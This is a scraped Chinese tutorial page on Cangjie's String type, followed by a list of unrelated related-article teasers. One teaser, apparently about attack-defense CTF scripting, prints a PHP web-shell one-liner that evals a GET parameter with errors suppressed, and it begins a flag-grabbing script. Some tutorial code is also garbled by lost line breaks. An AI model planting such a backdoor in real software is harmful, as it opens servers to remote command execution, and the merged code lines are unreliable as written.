「Mac玩转仓颉内测版27」基础篇7 - 字符串类型详解

本篇将介绍 Cangjie 中的字符串类型,包括字符串的定义、字面量形式、插值表达、常用操作及应用场景,帮助开发者熟练掌握字符串的使用。


关键词
  • 字符串类型定义
  • 字符串字面量
  • 插值字符串
  • 字符串拼接
  • 常用操作

一、字符串类型概述

在 Cangjie 中,字符串是一组 Unicode 字符的集合,用于表示文本数据。字符串类型用 String 表示,是 Cangjie 处理文本的主要工具。

  • 字符串定义:使用 String 类型定义文本数据。

示例

let welcomeMessage: String = "Welcome to Cangjie!"

二、字符串字面量

Cangjie 中的字符串字面量有三种形式:单行字符串字面量多行字符串字面量多行原始字符串字面量

2.1 单行字符串字面量

单行字符串字面量用单引号 或双引号 " 包裹,内容必须在一行内。可以包含任意字符,除了未转义的双引号 " 或孤立的 ****。

示例

let s1: String = "Cangjie Tutorial"
let s2: String = 'Let\'s start!'
let s3: String = "\"Welcome to Cangjie\""
let s4: String = 'Path: C:\\Program Files\\Cangjie'
2.2 多行字符串字面量

多行字符串字面量用三个单引号或双引号包裹,支持跨行输入,适合长文本或段落内容。

示例

let s1: String = """
This is a tutorial
for the Cangjie language.
Enjoy learning!
"""
2.3 多行原始字符串字面量

多行原始字符串字面量通过 # 前缀并配合引号表示,支持跨行输入且内容保持原样,转义字符不会被解析。

示例

let rawStr: String = #"""
Path without escapes: C:\Users\NewUser
Multi-line text preserved as-is.
"""#

输出:

""Path without escapes: C:\Users\NewUserMulti-line text preserved as-is.""

三、插值字符串

插值字符串使用 ∗ ∗ 表达式在字符串中嵌入变量或计算结果,简化了字符串拼接操作。 ∗ ∗ {}** 表达式在字符串中嵌入变量或计算结果,简化了字符串拼接操作。** 表达式在字符串中嵌入变量或计算结果,简化了字符串拼接操作。{} 内可包含表达式或计算,插值的结果会直接替换在字符串中。

示例

let appName: String = "Cangjie"
let version: Float64 = 3.0
let message: String = "${appName} version ${version + 0.5} is now available!"println(message)  // 输出: Cangjie version 3.500000 is now available!

四、字符串类型支持的操作

字符串类型支持常用的关系运算、拼接和其他字符串处理方法。

4.1 字符串比较与拼接

Cangjie 字符串可以用 == 比较相等性,用 + 进行拼接生成新字符串。

示例

let part1: String = "Learning"
let part2: String = "Cangjie"
let fullPhrase: String = part1 + " " + part2println("拼接后的结果: ${fullPhrase}")  // 输出: 拼接后的结果: Learning Cangjie
println("是否相等: ${part1 == part2}")  // 输出: 是否相等: false
4.2 常用字符串方法

Cangjie 提供了多种字符串处理方法,例如大小写转换、替换、去除空白等,便于数据清理和格式化。

方法描述示例
toAsciiUpper()转为全大写“cangjie”.toAsciiUpper()
toAsciiLower()转为全小写“CANGJIE”.toAsciiLower()
trimAsciiStart().trimAsciiEnd()去除字符串前后空白" sample text ".trimAsciiStart().trimAsciiEnd()
replace()替换指定字符或子字符串“Hello World”.replace(“World”, “Cangjie”)

示例

let text: String = "  Hello, Cangjie!  "
println("全大写: ${text.toAsciiUpper()}")       // 输出: 全大写:   HELLO, CANGJIE!
println("去空白: ${text.trimAsciiStart().trimAsciiEnd()}") // 输出: 去空白: Hello, Cangjie!
println("替换: ${text.replace("Cangjie", "User")}") // 输出: 替换: Hello, User!

五、字符串的应用场景

字符串在文本数据的格式化、验证、以及用户输入处理方面非常常用。

5.1 数据格式化

可以利用字符串插值生成格式化文本输出,如报告和日志信息。

示例

let userName: String = "Bob"
let sessionTime: Int = 120println("User ${userName} spent ${sessionTime} minutes online.")  

输出:

User Bob spent 120 minutes online.
5.2 输入处理与验证

在接收用户输入时,可用字符串方法去除多余空格并验证内容是否符合要求。

示例

let userInput: String = "   Cangjie   "
if (userInput.trimAsciiStart().trimAsciiEnd() == "Cangjie") {println("输入验证成功!")
} else {println("输入不符合要求。")
}

输出:

输入验证成功!

小结

本篇介绍了 Cangjie 中的字符串类型,涵盖字符串的字面量、插值表达、拼接及常用操作方法,帮助开发者熟练掌握字符串在文本处理中的应用。


下篇预告

下一篇将介绍 Cangjie 的 元组类型,讲解元组的定义、操作方法及在数据处理中的应用,敬请关注 「Mac玩转仓颉内测版28」基础篇8 - 元组类型详解


上一篇: 「Mac玩转仓颉内测版26」基础篇6 - 字符类型详解
下一篇: 「Mac玩转仓颉内测版28」基础篇8 - 元组类型详解

作者:SoraLuna
链接:https://www.nutpi.net/thread?topicId=213
來源:坚果派
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61633.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一种简单高效的RTSP流在线检测方法,不需要再过渡拉流就可以获取设备状态以及对应音视频通道与编码格式

平台如何检测一路RTSP流是否在线? 在之前的流媒体平台方案中,我们都是通过定时RTSP拉流的方式,走一个完整的RTSP流程:包括OPTIONS、DESCRIBE、SETUP、PLAY、RTP收流,这种方式去取流,然后取到流之后进行流解…

Excel中超链接打开文件时报错 “打开此文件的应用程序没有注册“ 的一个解决办法

需要在Excel中快速打开.bas后缀的文件,所以添加了文件超链接,但是在打开文件的时候报错 “打开此文件的应用程序没有注册” 找到文件直接双击是可以正常打开的,说明是哪里有问题,导致Excel不能找到可以打开文件的程序&#xff0c…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中,数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例:如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失(Vanishing Gradient)问题是深度神经网络训练中的一个关键问题,它主要发生在反向传播过程中,导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞,严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法,适用于多输入多输出(MIMO)系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整,同时通过解耦策略减少变量之间的相互影响,提高控制…

数据库类型介绍

1. 关系型数据库(Relational Database, RDBMS): • 定义:基于关系模型(即表格)存储数据,数据之间通过外键等关系相互关联。 • 特点:支持复杂的SQL查询,数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp(网络时间协议时间戳):这是一个64位的时间戳,记录着发送SR的NTP时间戳,用于同步不同源之间的时间。RTP Timestamp&#xff1…

《让照片或视频中的人对口型读文稿的APP》

《让照片或视频中的人对口型读文稿的APP》 剪映 功能特点: 操作简单,容易上手。它有丰富的音频功能,你可以导入自己想要的文稿音频。在视频编辑方面,能精确剪辑视频片段,调整播放速度,使人物的口型和音频更…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…

PHP 实现页面跳转的三种方式及详细解析

目录 前言1. PHP 跳转2. HTML 跳转3. JavaScript 跳转 前言 在 PHP 中实现页面跳转有多种方式&#xff0c;常见的方式包括 PHP 自带的 header() 函数、HTML 元素 <meta> 标签和 JavaScript 的 window.location 三者的差异表格如下&#xff1a; 跳转方式优点缺点适用场…

深入理解 PyTorch 的数据加载

深入理解 PyTorch 的数据加载 在进行深度学习时&#xff0c;数据的加载和预处理是至关重要的步骤。PyTorch 提供了 torch.utils.data.Dataset 和 torch.utils.data.DataLoader 这两个强大的工具来简化这一过程。 1. torch.utils.data.Dataset Dataset 是 PyTorch 中用于定义…

.NET 9 全面上线:开启开发新纪元

微软最新发布的.NET 9为开发者带来了翻天覆地的变化&#xff0c;这次升级不仅仅是一次普通的版本迭代&#xff0c;更像是为开发者打开了一扇通往未来的大门。 性能革新&#xff1a;AOT编译的突破性进展 原生提前编译&#xff08;AOT&#xff09;是此次更新最耀眼的明珠。过去&…

蓝桥杯每日真题 - 第19天

题目&#xff1a;&#xff08;费用报销&#xff09; 题目描述&#xff08;13届 C&C B组F题&#xff09; 解题思路&#xff1a; 1. 问题抽象 本问题可以看作一个限制条件较多的优化问题&#xff0c;核心是如何在金额和时间约束下选择最优方案&#xff1a; 动态规划是理想…

数据结构及算法--排序篇

在 C 语言中&#xff0c;可以通过嵌套循环和比较运算符来实现常见的排序算法&#xff0c;比如冒泡排序、选择排序或插入排序 目录 基础算法&#xff1a; 1.冒泡排序&#xff08;Bubble Sort&#xff09; 2.选择排序&#xff08;Selection Sort&#xff09; 3.插入排序&…

科研实验室的数字化转型:Spring Boot系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理实验室管理系统的相关信息成为必然。开发合…